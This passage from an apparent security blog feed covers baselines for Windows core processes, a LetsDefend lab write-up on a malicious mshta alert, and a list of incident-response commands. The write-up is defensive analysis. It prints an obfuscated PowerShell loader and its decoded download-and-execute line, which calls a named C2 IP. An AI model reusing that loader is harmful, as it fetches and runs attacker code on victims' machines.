type="image/jpeg"/><content:encoded><![CDATA[<p>Dalam sebuah kegiatan incident response, adakalanya kita perlu mengetahui karakteristik proses yang sedang berjalan, sehingga dapat memutuskan apakah proses tersebut malicious atau tidak. Berikut beberapa proses inti windows (Windows core processes), dengan sedikit deskripsi dan karakteristik masing-masing, sebagai acuan baseline, sehingga ketika melakukan incident response kita memiliki kemudahan untuk melakukan filtering proses yang malicious atau tidak.</p>
<h4 id="heading-pengantar">pengantar</h4>
<p>sebelum melihat lebih jauh proses yang berjalan, baiknya kita mengingat kembali beberapa topik pengantar berikut.</p>
<ol>
<li><p>user mode vs kernel mode sebuah proses bisa dijalankan dalam dua buah mmode yang berbeda, yaitu kernel mode dan user mode. aplikasi biasa berjalan di user mode, sedangkan core operating system component berjalan di kernel mode.</p>
</li>
<li><p>session 0 vs session 1 sejak windows vista, microsoft memperkenalkan "session 0 isolation". session 0 diperuntukan untuk servis dan aplikasi non-interaktif. user yang login akan berada di session 1 atau sealnjutnya. proses yang berjalan di session 0 tidak memiliki GUI. sedangkan session 1 (dan seterusnya) untuk proses yang terkait/ dijalankan user.</p>
</li>
<li><p>tools ada beberapa tools yang bisa digunakan untuk memahami lebih jauh proses ini, kita akan menggunakan <a target="_blank" href="https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer">processes explorer</a> dan <a target="_blank" href="https://processhacker.sourceforge.io/">processes hacker</a>. selain itu bisa juga menggunakan command line yaitu tasklist, Get-Process atau ps (PowerShell), dan wmic.</p>
</li>
</ol>
<h6 id="heading-system">system</h6>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczNkkhG70lLM4GaE05mRLwrjbQ-jO8RMpUcDGpMSG9HTQmnzcYVsAZIOJ1jklisTybU1B2Y93VMqKsIjJyZ1I1Mho-UvKGkGZNPNdmDQiPTi9cScjAat6pDm_lUtl9UmwU0I4UczPCaElRNTlaClplE=w441-h569-s-no-gm" alt class="image--center mx-auto" /></p>
<p>system merupakan process yang berjalan dalam kernel mode, serta menjadi rumah bagi process2 lain yang berjalan di kernel mode. system dijalankan (parent) oleh PID 0 (system idle process), atau pada process explorer tidak memiliki parent. beberapa ciri-ciri lain dari proses ini adalah:</p>
<p>beberapa karakteristik system process:</p>
<ul>
<li><p>system selalu dijalankan dengan PID 4</p>
</li>
<li><p>hanya memiliki 1 instance</p>
</li>
<li><p>berjalan di session 0</p>
</li>
<li><p>user account yang menjalankan SYSTEM</p>
</li>
<li><p>tidak memiliki parent process (pada process explorer atau system idle process PID 0 pada process hacker )</p>
</li>
<li><p>image filename berada di C:\Windows\system32\ntoskrnl.exe (pada process hacker)</p>
</li>
<li><p>start time: At boot time</p>
</li>
</ul>
<h6 id="heading-system-gt-smssexe">system &gt; smss.exe</h6>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczOR_eduWec7Nk5YZg4yWEtfywtCKFfmbAwOilTukXaVlmuqlmgxI92fX1HBpUfI5TXi6MbEfKynx8B0sTd5kcMVyAqPdGgOy2Hs7UbT51QTsiWrIXdyhdClPMa8nhgHXeZ_6178yTl1RDGgUxwcu-8=w441-h569-s-no-gm" alt class="image--center mx-auto" /></p>
<p>smss.exe (Session Manager Subsystem) atau windows session manager. smss.exe menjalankan csrss.exe dan wininit.exe di session 0, serta menjalankan csrss.exe dan winlogin.exe di session 1. seperti yang ditulis sebelumnya, session 0 berisi proses-proses terkait servis sedangkan session 1 untuk proses terkait user. smss.exe menjalankan proses dengan cara menjalankan child smss process setelah itu melakukan terminasi diri sendiri, sehingga pada suatu waktu seharusnya hanya terdapat sebuah smss.exe.</p>
<p>beberapa karakteristik smss.exe:</p>
<ul>
<li><p>hanya terdapat satu instances</p>
</li>
<li><p>parent process system</p>
</li>
<li><p>berjalan di session 0 (karena yang session 1 dst menterminasi diri sendiri)</p>
</li>
<li><p>user account yang menjalankan SYSTEM</p>
</li>
<li><p>image path c:\Windows\System32\smss.exe</p>
</li>
<li><p>start time: dalam beberapa detik dari boot time (untuk master instance)</p>
</li>
</ul>
<h6 id="heading-system-gt-csrssexe">system &gt; csrss.exe</h6>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczO-fTxCJJvk6fBeHoZuUKLQePOHo9mmLbF406EvZxzEIpUfQ21N3myinqMj_7k1xjRQ59M5bQdYoCooSHkwU3GHD2Hx6kcA9ZpR8A6E0rxj3AYQh_e0UmRHLCAy-oyzwzl9zzzbRW6FEchcrYl78f4=w444-h570-s-no-gm" alt class="image--center mx-auto" /></p>
<p>proses ini bertanggung jawab menyediakan Windows API, mapping drive letters, and menangani proses shutdown Windows. csrss.exe dijalankan (parent process) oleh smss.exe yang akan mematikan dirinya sendiri setelahnya. oleh karena itu csrss.exe tidak memiliki parent process (parent process terminated/ non-existent process pada field parent)</p>
<p>beberapa karakteristik csrss.exe:</p>
<ul>
<li><p>tidak mempunyai parent process/ parent process sudah tidak jalan (smss.exe).</p>
</li>
<li><p>image path c:\Windows\System32\csrss.exe</p>
</li>
<li><p>bisa terdapat lebih dari satu instances (ingat smss.exe dimana tiap login akan menjalankan csrss.exe dan winlogin.exe pada session baru)</p>
</li>
<li><p>user account yang menjalankan SYSTEM</p>
</li>
<li><p>start time: dalam beberapa detik dari boot time (untuk 2 instances pertama, dan setelah itu setiap ada login baru)</p>
</li>
</ul>
<h6 id="heading-smssexe-gt-wininitexe">smss.exe &gt; wininit.exe</h6>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczMkRRFJ0VOJa2lue6RfLSjOAhrSqvxFzeeC5vch7_oTiJfj6QePRPQxv23J5AlS77sBPosvfgxWPZmKJ7PDM1xuHpe2onrXUurxTNbEMVR8y9sZLFDWNtUa4FqZCRbuSgVwdmDO59fWBc-Nja6Zf-s=w443-h571-s-no-gm" alt class="image--center mx-auto" /></p>
<p>process ini dijalankan oleh smss.exe, dan sama seperti csrss.exe, smss.exe akan mematikan dirinya sendiri setelah menjalankan proses ini, sehingga winit.exe tidak memiliki parent process. The Windows Initialization Process atau wininit.exe bertanggung jawab menjalankan services.exe (Service Control Manager), lsass.exe (Local Security Authority), dan lsaiso.exe (hanya bila credential guard dinyalakan) dalam Session 0.</p>
<p>beberapa karakteristik wininit.exe:</p>
<ul>
<li><p>tidak mempunyai parent process/ parent process sudah tidak jalan (smss.exe).</p>
</li>
<li><p>image path c:\Windows\System32\</p>
</li>
<li><p>hanya satu instances</p>
</li>
<li><p>user account yang menjalankan SYSTEM</p>
</li>
<li><p>hati-hati terhadap image dengan nama yang mirip</p>
</li>
<li><p>start time: dalam beberapa detik dari boot time</p>
</li>
</ul>
<h6 id="heading-wininitexe-gt-servicesexe">wininit.exe &gt; services.exe</h6>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczPg309Lwje6BrByPJyvBD6vlqB1LbHgWQZM1U8r1NMC6gXLKKtVNDe974g7ur0pkx_5dA2jYJfbKFn1JMph_4nvNmZbyZwOEJYQzxWN_y3iQTptaJXlEfnD8NXfht-qNE5h12FTJ7dZQIUzGhlX1-I=w440-h562-s-no-gm" alt class="image--center mx-auto" /></p>
<p>services.exe/ Service Control Manager (SCM) berfungsi mengontrol services yang dijalankan serta mengeset "Last Known Good control set/Last Known Good Configuration (HKLM\System\Select\LastKnownGood)" setelah berhasil login. informasi services yang dijalankan bisa dilihat di "HKLM\System\CurrentControlSet\Services" atau dengan "sc.exe query". services.exe dijalankan oleh (parent process) winit.exe.</p>
<p>beberapa karakteristik services.exe:</p>
<ul>
<li><p>parent process winit.exe</p>
</li>
<li><p>image path c:\Windows\System32\</p>
</li>
<li><p>hanya satu instances</p>
</li>
<li><p>user account yang menjalankan SYSTEM</p>
</li>
<li><p>hati-hati terhadap image dengan nama yang mirip</p>
</li>
<li><p>start time: dalam beberapa detik dari boot time</p>
</li>
</ul>
<h6 id="heading-wininitexe-gt-servicesexegt-svchostexe">wininit.exe &gt; services.exe&gt; svchost.exe</h6>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczN-AIc7oLybOzo4bHFW_FQNokROnDyvJpbio0leL8ZvEvFqyzpIwnu5wb69NvXhTEnx7VbqDa8e1OAL8QgyB3w2Ic8lJFiFnC1v39d6pluhP2aOqFc1WLbF4XS4tHU2Y6mcC-V1XQfwXTqTRpjEyPE=w703-h580-s-no-gm" alt class="image--center mx-auto" /></p>
<p>svchost.exe (service host/ host process for windows services) bertugas mengontrol windows services. servis yang dijalankan proses ini berbentuk dll, dan dapat dilihat di registry (HKLM\SYSTEM\CurrentControlSet\Services\SERVICE NAME\Parameters). sebagai contoh, svchost menjalankan service terkait bluetooth, maka kita bisa melihat dll yang dijalankan dengan</p>
<ol>
<li><p>processhacker &gt; right click on svchost.exe &gt; properties &gt; services &gt; double click on name. maka akan menampilkan gambar di atas, dimana pada binary path terlihat dll yang dijalankan. perlu juga diperhatikan flag/parameter "-k" pada command line di binary path, hal ini merupakan perintah grouping services sejenis (sejak Windows 10 Version 1703 services sejenis dilakukan grouping pada mesin dengan memory di atas 3.5 GB); atau</p>
</li>
<li><p>pada registry key "\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BTAGService\Parameters"</p>
</li>
</ol>
<p>beberapa karakteristik svchost.exe:</p>
<ul>
<li><p>parent process services.exe</p>
</li>
<li><p>Image file path C:\Windows\System32</p>
</li>
<li><p>hati-hati terhadap image dengan nama yang mirip</p>
</li>
<li><p>adanya "-k" flag/parameter</p>
</li>
<li><p>user account yang menjalankan beragam (SYSTEM, Network Service, Local Service) tergantung jenis services (pada windows 10 ada yang dijalankan logged-in user)</p>
</li>
<li><p>start time: dalam beberapa detik dari boot time, namun mungkin ada yang berjarak dari boot time</p>
</li>
</ul>
<h6 id="heading-wininitexe-gt-lsassexe">wininit.exe &gt; lsass.exe</h6>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczN6tKLdl7RzQbkyz10HjP--6mnhAJaZ1MwHw9dVOGriqQh9HSeZWz-csyInWz-p750gSt2fnNYKjWqfGm9KQVvxFCFb3Aau6MZJeU9NYfdDR_dkaMgYvFLRcR-1YOzBSIlTtVOjTxIbKc4eIoqxgic=w438-h560-s-no-gm" alt class="image--center mx-auto" /></p>
<p>Local Security Authority Subsystem Service (LSASS) adalah process Microsoft Windows operating systems yang berfungsi melakukan enforcing security policy on the system. beberapa hal yang dilakukan antara lain verifikasi user login, password changes, membuat access tokens, dan menulis Windows Security Log.</p>
<p>beberapa karakteristik lsass.exe:</p>
<ul>
<li><p>parent process wininit.exe</p>
</li>
<li><p>hanya satu instances</p>
</li>
<li><p>hati-hati terhadap image dengan nama yang mirip</p>
</li>
<li><p>start time: dalam beberapa detik dari boot time</p>
</li>
<li><p>image file path C:\Windows\System32\lsass.exe</p>
</li>
<li><p>user account yang menjalankan as SYSTEM</p>
</li>
</ul>
<h6 id="heading-winlogonexe">winlogon.exe</h6>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczMyFc0bUVYhxQ2oc0fvwyBh7WVsmAZv6caJxN6OP_t_CiIpoxsmdZ9k0h3GOhB0qrP3rATfLdWigMmtGpCz2j-2qV7jJ3egcZEoSiYq0DaR9nirWfz-XpWwRKWiH97kLMKm4LHq9ieetIQ-ormABfs=w445-h571-s-no-gm" alt class="image--center mx-auto" /></p>
<p>windows logon (winlogon.exe) berperan dalam menangani secure attention sequence (key combination CTRL+ALT+DEL yang menampilkan user login/password), me-load user profile (NTUSER.DAT ke registry HKCU), menjalankan userinit.exe (yang kemudian me-load HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell dan kemudian exit), mengunci layar, dan juga screen saver.</p>
<p>beberapa karakteristik winlogon.exe:</p>
<ul>
<li><p>tidak memiliki parent process (karena parent smss.exe exit)</p>
</li>
<li><p>bisa terdapat lebih dari satu instances</p>
</li>
<li><p>image file path C:\Windows\System32\winlogon.exe</p>
</li>
<li><p>start time dalam beberapa detik dari boot time</p>
</li>
</ul>
<h6 id="heading-explorerexe">explorer.exe</h6>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczNmQxl76wsuzJucXcKIqacWnzqbRXMx63bcZD4TKmJeIJtRjPBw2TbZXPWNi58e4SlSYLVhhjOpBMG-glTi5tbJUlOologYNYOnlNrIHLK4mxVeydo77EpTLGmt7pFNnGkDBZUSnaduezcvFGnmfxU=w441-h567-s-no-gm" alt class="image--center mx-auto" /></p>
<p>Windows explorer (explorer.exe) bertangungg jawab untuk menampilkan interface untuk mengakses folder dan files, start menu, taskbar, etc. explorer.exe dijalankan oleh userinit.exe (me-load HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell), yang kemudian exit sendiri sehingga tidak memiliki parent process.</p>
<p>beberapa karakteristik explorer.exe:</p>
<ul>
<li><p>tidak memiliki parent process</p>
</li>
<li><p>lokasi image di C:\WINDOWS\explorer.exe</p>
</li>
<li><p>dijalankan oleh user yang winlogin</p>
</li>
<li><p>seharusnya tidak memiliki koneksi outbound TCP/IP</p>
</li>
<li><p>start time beberapa saat setelah logon (interactive logon)</p>
</li>
</ul>
<h5 id="heading-penutup">penutup</h5>
<p>Dengan menggunakan processhacker, procexp, atau perangkat lain, maka sebagai IR kita bisa membandingkan antara karakteristik asli (baseline) dari beberapa proses utama windows. Hal ini dapat dijadikan acuan untuk memutuskan apakah sebuah proses malicious atau tidak. Selain yang disebutkan di atas, proses malicious juga seringkali menggunakan nama yang serupa (mengganti huruf tertentu) untuk menyembunyikan dan menyamarkan diri menjadi proses yang legitimate.</p>
<h4 id="heading-referensi">referensi</h4>
<ol>
<li><p><a target="_blank" href="https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/user-mode-and-kernel-mode">user mode and kernel mode</a></p>
</li>
<li><p><a target="_blank" href="http://securityinternals.blogspot.com/2014/02/windows-session-0-isolation.html">session 0 isolation</a></p>
</li>
<li><p><a target="_blank" href="https://yungchou.wordpress.com/2016/03/14/an-introduction-of-windows-10-credential-guard/">lsass.exe</a></p>
</li>
<li><p><a target="_blank" href="https://en.wikipedia.org/wiki/Service_Control_Manager">services</a></p>
</li>
<li><p><a target="_blank" href="https://nasbench.medium.com/windows-system-processes-an-overview-for-blue-teams-42fa7a617920">nasbench.medium</a></p>
</li>
<li><p><a target="_blank" href="https://andreafortuna.org/2017/06/15/standard-windows-processes-a-brief-reference/">andreafortuna</a></p>
</li>
<li><p><a target="_blank" href="https://tryhackme.com/room/btwindowsinternals">tryhackme</a></p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Write up: suspicious mshta behavior]]></title><description><![CDATA[I've been trying out letsdefend.io for a couple of week, and here's a write up of one of the challenge. its a platform to hone your blue teaming skill, you will be using some sort of SIEM apps and act as an analyst, i.e. finding IOC and deciding esca...]]></description><link>https://aldosimon.com/write-up-suspicious-mshta-behavior</link><guid isPermaLink="true">https://aldosimon.com/write-up-suspicious-mshta-behavior</guid><category><![CDATA[Write Up]]></category><category><![CDATA[incident response]]></category><category><![CDATA[SOC]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Wed, 13 Apr 2022 18:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/d9ILr-dbEdg/upload/5a4046e466c729bc794e8879cb9a7b55.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I've been trying out <a target="_blank" href="https://letsdefend.io/">letsdefend.io</a> for a couple of week, and here's a write up of one of the challenge. its a platform to hone your blue teaming skill, you will be using some sort of SIEM apps and act as an analyst, i.e. finding IOC and deciding escalation etc. There are not a lot of blue team training site, and this hands on concept by <a target="_blank" href="https://letsdefend.io/">letsdefend.io</a> is great.</p>
<p>With that intro about <a target="_blank" href="https://letsdefend.io/">letsdefend.io</a> out of the way, here goes the write up.</p>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczOk-CqjCqBq5a59_ukuDiOITN9oVx6P6QXOwEAh5Hyv4kDpPHFTwe3pF_rUL8g5IdldM3z3oglgRkvq8z-TAofJVAx46EST2hkQfooNzk44rNoUvvJGypnDsElIMBMt7nNb136_e_2NCQO9k_XmAC8=w878-h454-s-no-gm" alt class="image--center mx-auto" /></p>
<p>This is what the case looked like, basically a host execute hta file thus an alert is triggered. Our job is to see what really happened and do the intended playbook exercise. Some things that we can check to help with analysis are the hash (virustotal) and the IP address (we'll try command history/ proccess history at the endpoint security tab). Afterward we are gonna decide on containment (eradication and recovery) and last the lesson learned from said incident.</p>
<h4 id="heading-virustotal">virustotal</h4>
<p>We can use the hash we found at the first picture to search scan result at virustotal. The <a target="_blank" href="https://www.virustotal.com/gui/file/886095c7861a068d1ee603c71cb161f256941e802e743fe2161f30013947a2f1/detection">result on virustotal</a> look pretty bad, 23/58 malicious flag. you could also try to find the file and do more analysis, but for now I think we can move to endpoint security tabs and do more analysis there.</p>
<h4 id="heading-endpoint-security">endpoint security</h4>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczPbojg7GUheGwbb92fyxg2m3d7X3wBWqGcuOcv6RsgygVN15RZEsTtX3btwGO6uvnJv9xXOBod33ANWeLjcLH8jU90BnyeEkW1V0BdTFAxQHXWpepEjml6JFiqBiNeufLtZXwxjOg2WXmairCyapg0=w479-h205-s-no-gm" alt class="image--center mx-auto" /></p>
<p>We use endpoint security tab to find out what was happening in the host 172.16.17.38. The screenshot above is from the command history portion of the tab, where we can see the first command line that trigger the alert, followed by another not so clear command.</p>
<pre><code class="lang-bash">C:/Windows/System32/mshta.exe C:/Users/roberto/Desktop/Ps1.hta
</code></pre>
<p>The first command above is what triggered the alert. Mshta is a trusted Microsoft binary that in this case is abused for execution of the Ps1.hta file. you can see the related explanation here at the <a target="_blank" href="https://attack.mitre.org/techniques/T1218/005/">MITRE</a></p>
<p>Now we tried a bit of magic at the second command so it will be more readable.</p>
<pre><code class="lang-bash"><span class="hljs-keyword">function</span> H1(<span class="hljs-variable">$i</span>) 
{<span class="hljs-variable">$r</span> = <span class="hljs-string">''</span> ; <span class="hljs-keyword">for</span> (<span class="hljs-variable">$n</span> = 0; <span class="hljs-variable">$n</span> -Lt <span class="hljs-variable">$i</span>.LengtH; <span class="hljs-variable">$n</span> += 2)
{<span class="hljs-variable">$r</span> += [cHar][int](<span class="hljs-string">'0x'</span> + <span class="hljs-variable">$i</span>.Substring(<span class="hljs-variable">$n</span>,2))}<span class="hljs-built_in">return</span> <span class="hljs-variable">$r</span>};
<span class="hljs-variable">$H2</span> = (new-object (<span class="hljs-string">'{1}{0}{2}'</span> -f<span class="hljs-string">'WebCL'</span>,<span class="hljs-string">'net.'</span>,<span class="hljs-string">'ient'</span>));
<span class="hljs-variable">$H3</span> = H1 <span class="hljs-string">'446f776E'</span>;
<span class="hljs-variable">$H4</span> = H1 <span class="hljs-string">'6C6f'</span>;
<span class="hljs-variable">$H5</span> = H1 <span class="hljs-string">'616473747269'</span>;
<span class="hljs-variable">$H6</span> = H1 <span class="hljs-string">'6E67'</span>;
<span class="hljs-variable">$H7</span> = <span class="hljs-variable">$H3</span>+<span class="hljs-variable">$H4</span>+<span class="hljs-variable">$H5</span>+<span class="hljs-variable">$H6</span>;
<span class="hljs-variable">$H8</span> = <span class="hljs-variable">$H2</span>.<span class="hljs-variable">$H7</span>(<span class="hljs-string">'http://193.142.58.23/Server.txt'</span>);
iEX <span class="hljs-variable">$H8</span>
</code></pre>
<ul>
<li><p>$H3-H6 with the help of $H1 just basically hex that reads "Downloadstring".</p>
</li>
<li><p>$H2 was a glorified "New-Object Net.WebClient".</p>
</li>
<li><p>$H8 puts them all together to form an old fashion download using powershell from address mentioned in $H8.</p>
</li>
</ul>
<p>Together they'll probably looked like</p>
<pre><code class="lang-bash">IEX (New-Object Net.WebClient).DownloadString(<span class="hljs-string">'http://193.142.58.23/Server.txt'</span>).
</code></pre>
<p>So it's a call to C2 server 193.142.58.23, probably trying to download something.</p>
<h4 id="heading-log-management">log management</h4>
<p>After seeing what the script do, we best check log management and try to see did the host (172.16.17.38) managed to reach the C2 server (193.142.58.23) what the C2 server reply with. We can do this by filtering source/ dest. address using host and/or C2 server IP that we had before. Below is the filtered result of from the log management tabs.</p>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczPtX_BTSFD7SuTiGUZd5cMxS87s5HphsZMOmuQELwf9FBFujwaXLRaL1dR8Ws1AyKQUCNm9hAXzd4t0SXqWYvV-_gSeNVBnkFIKw5w58ZyIZEn_ro9Bvbhz3_oYilU3SdY9Q4-6l1pa5SxFJIrQboI=w985-h479-s-no-gm" alt class="image--center mx-auto" /></p>
<p>There we can see that the C2 server replied with 404, so no response arrived for the host (172.16.17.38) because the server is dead/ the file was not there.</p>
<h4 id="heading-containment-and-lesson-learned">containment and lesson learned</h4>
<p>Based on our previous analysis, we can safely conclude that its a malicious script, but stopped due to the C2 server is dead. Next step would be to contain the host. We can do this by going to endpoint security and use the request containment button.</p>
<p>Lastly, we can use the IP address, and URL and also the md5 hash of the executed file can as IOC when we did the playbook and also close the case.</p>
]]></content:encoded></item><item><title><![CDATA[Various command for quick IR]]></title><description><![CDATA[Saya sedang mengerjakan sebuah investigation challenge di tryhackme.com,
dan ada  Beberapa command line yang menurut saya cukup menarik untuk di dokumentasikan, serta dapat dipakai sebagai sarana IR kilat di bagian awal asesmen.

command line yang sa...]]></description><link>https://aldosimon.com/various-command-for-quick-ir</link><guid isPermaLink="true">https://aldosimon.com/various-command-for-quick-ir</guid><category><![CDATA[DFIR]]></category><category><![CDATA[incident response]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Mon, 10 Jan 2022 23:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/sxK8RUCpqoQ/upload/17f91dafa811e50df3a92d2b750c72e7.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><s>Saya sedang mengerjakan sebuah investigation challenge di tryhackme.com,
dan ada </s> Beberapa command line yang menurut saya cukup menarik untuk di dokumentasikan, serta dapat dipakai sebagai sarana IR kilat di bagian awal asesmen.</p>

<h4 id="heading-command-line-yang-saya-pakai">command line yang saya pakai</h4>
<p>list usernames</p>
<pre><code class="lang-bash">net user
</code></pre>
<pre><code class="lang-bash">Get-LocalUser | Select name, Enabled, sid, lastlogon
</code></pre>
<pre><code class="lang-bash">wmic useraccount get name, accounttype, sid, status
</code></pre>
<p>list ADusername</p>
<pre><code class="lang-bash">Get-ADUser -Filter <span class="hljs-string">'Name -Like "*"'</span> | <span class="hljs-built_in">where</span> Enabled -eq <span class="hljs-variable">$True</span>
</code></pre>
<p>list logged on user</p>
<pre><code class="lang-bash">Get-CimInstance –ClassName Win32_ComputerSystem | Select-Object Name, UserName, PrimaryOwnerName, Domain, TotalPhysicalMemory, Model, Manufacturer
</code></pre>
<p>last logon, group member, password settings, user full name, etc</p>
<pre><code class="lang-bash">net user [username]
</code></pre>
<p>show local group and/or members of groups</p>
<pre><code class="lang-bash">net localgroup
</code></pre>
<pre><code class="lang-bash">net localgroup <span class="hljs-string">"Administrators"</span>
</code></pre>
<pre><code class="lang-bash">Get-LocalGroup
</code></pre>
<p>show ADgroups</p>
<pre><code class="lang-bash">Get-ADGroupMember Administrators | <span class="hljs-built_in">where</span> objectClass -eq <span class="hljs-string">'user'</span>
</code></pre>
<pre><code class="lang-bash">Get-ADComputer -Filter <span class="hljs-string">"Name -Like '*'"</span> -Properties * | <span class="hljs-built_in">where</span> Enabled -eq <span class="hljs-variable">$True</span> | Select-Object Name, OperatingSystem, Enabled
</code></pre>
<p>list running programs (and certain programs only)</p>
<pre><code class="lang-bash">tasklist
tasklist /m /<span class="hljs-keyword">fi</span> “pid eq &lt;Insert Process ID here w/out the brackets&gt;”
</code></pre>
<pre><code class="lang-bash">Get-CimInstance -ClassName Win32_Process | Select-Object CreationDate, ProcessName, ProcessID, CommandLine, ParetProcessId | <span class="hljs-built_in">where</span> ProcessID -eq xxxx
</code></pre>
<pre><code class="lang-bash">Get-Process | Select-Object StartTime, ProcessName, ID, Path | Where Id -eq xxxx
</code></pre>
<p>list schedule task, services</p>
<pre><code class="lang-bash">schtasks /query /fo list /v &gt; schtasks.txt
</code></pre>
<p>list services</p>
<pre><code class="lang-bash">Get-CimInstance –ClassName Win32_Service | Select-Object Name, DisplayName, StartMode, State, PathName, StartName, ServiceType
</code></pre>
<pre><code class="lang-bash">Get-Service | Select-Object Name, DisplayName, Status, StartType
</code></pre>
<p>various wevtutil</p>
<pre><code class="lang-bash">wevtutil qe Security /f:text &gt; seclogs.txt
wevtutil el | Measure-Object
</code></pre>
<p>system information</p>
<pre><code class="lang-bash">systeminfo
</code></pre>
<p>osbuild, servicepack, buildnumber, csname, lastboot</p>
<pre><code class="lang-bash">Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, servicepackmajorversion, BuildNumber, CSName, LastBootUpTime
</code></pre>
<p>various wmic</p>
<pre><code class="lang-bash">wmic /node:&lt;remote-ip&gt; /user:&lt;username&gt; startup list full | more
wmic /node:&lt;remote-ip&gt; /user:&lt;username&gt; service list full | more
wmic /node:&lt;remote-ip&gt; /user:&lt;username&gt; ComputerSystem Get UserName
wmic /node:&lt;remote-ip&gt; /user:&lt;username&gt; useraccount list full
wmic /node:&lt;remote-ip&gt; /user:&lt;username&gt; process get description,processid,parentprocessid,commandline /format:csv
wmic /node:&lt;remote-ip&gt; /user:&lt;username&gt; bios get serialnumber
wmic /node:&lt;remote-ip&gt; /user:&lt;username&gt; diskdrive get model,serialNumber,size,mediaType
</code></pre>
<p>ipconfig</p>
<pre><code class="lang-bash">ipconfig /displaydns
</code></pre>
<p>network related</p>
<pre><code class="lang-bash">Get-NetTCPConnection -RemoteAddress xxx.xxx.xxx.xxx -RemotePort xx | Select-Object CreationTime, LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess, Stat
</code></pre>
<p>netstat with PID</p>
<pre><code class="lang-bash">netstat -bona
</code></pre>
<p>see firewall state</p>
<pre><code class="lang-bash">netsh firewall show state
</code></pre>
<p>melihat dan setting execution policy</p>
<pre><code class="lang-bash">Get-ExecutionPolicy
Set-ExecutionPolicy
</code></pre>
<p>check PS version</p>
<pre><code class="lang-bash">Get-Host | Select-Object Version
</code></pre>
<p>hashing</p>
<pre><code class="lang-bash">Get-FileHash .\file.txt -Algorithm MD5
</code></pre>
<p>alternate data stream (ADS)</p>
<pre><code class="lang-bash">Get-Item .\file.txt -Stream *
</code></pre>
<p>raw file access, hex</p>
<pre><code class="lang-bash">Get-Content .\file.txt –Encoding Byte | Format-Hex
</code></pre>
<h4 id="heading-penutup">penutup</h4>
<p>post ini tentu saja akan saya update d masa mendatang, dan semoga suatu saat script yang menyatukannya akan saya kerjakan :D</p>
<h4 id="heading-referensi">referensi</h4>
<ol>
<li><a target="_blank" href="https://isit.arts.ubc.ca/how-to-locate-serial-number-of-computer/">arts.ubc.ca</a></li>
<li><a target="_blank" href="https://www.sans.org/blog/wmic-for-incident-response/">sans</a></li>
<li><a target="_blank" href="https://jordanpotti.com/2017/01/20/basics-of-windows-incident-response/">jordanpotti</a></li>
<li><a target="_blank" href="http://www.cybernote.net/index.php/2020/05/02/practical-incident-response-commands-wmic/">cybernote</a></li>
<li><a target="_blank" href="https://www.giac.org/paper/gsec/23549/hunting-gathering-powershell/121279">troy wojewoda</a></li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Nginx log terkait log4j/ log4shell]]></title><description><![CDATA[intro
log4j/ log4shell adalah sebuah vuln yang cukup menghebohkan di akhir tahun ini, hal ini karena aplikasi logging ini cukup banyak di pakai di software OSS, serta vuln. nya yang cukup parah. log4j memiliki kelemahan yang membuat attacker bisa men...]]></description><link>https://aldosimon.com/nginx-log-terkait-log4j-log4shell</link><guid isPermaLink="true">https://aldosimon.com/nginx-log-terkait-log4j-log4shell</guid><category><![CDATA[detection engineering ]]></category><category><![CDATA[DFIR]]></category><category><![CDATA[incident response]]></category><category><![CDATA[nginx]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Thu, 23 Dec 2021 22:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/8RapT49-eqI/upload/528155094ac2ef71b4843d912b0759bb.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h4 id="heading-intro">intro</h4>
<p>log4j/ log4shell adalah sebuah vuln yang cukup menghebohkan di akhir tahun ini, hal ini karena aplikasi logging ini cukup banyak di pakai di software OSS, serta vuln. nya yang cukup parah. log4j memiliki kelemahan yang membuat attacker bisa menjalankan perintah dari jauh (RCE) dengan mengirimkan perintah lookup tertentu ke service yang menjalankan log4j. tulisan ini meramu beberapa exploitasi yang tertangkap di nginx log milik penulis di salah satu penyedia jasa cloud.</p>
<h4 id="heading-informasi-terkait-log4j-log4shell">informasi terkait log4j/ log4shell</h4>
<p>cara kerja exploit:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723222146647/d81b4230-ab47-4500-9c61-b3263fcd5f8c.jpeg" alt class="image--center mx-auto" /></p>
<p>informasi cve-nya: <a target="_blank" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">mitre</a></p>
<h4 id="heading-nginx-di-azure">nginx di azure</h4>
<p>beberapa hari setelah berita log4j ramai di jagat infosec, dan karena masih terdapat sisa credit azure, maka penulis menjalankan aplikasi nginx di salah satu vm di azure. sebenarnya penulis juga menjalankan inetsim, untuk mencoba peruntungan pada port lain, namun log inetsim sangat sedikit (jarang di akses), dan mungkin nanti dilakukan update pada tulisan ini setelah inetsim lebih laku. hasil dari log selama beberapa hari tersebut membuat kita bisa mempelajari lebih jauh serangan yang dilakukan. berikut beberapa hasilnya:</p>
<ol>
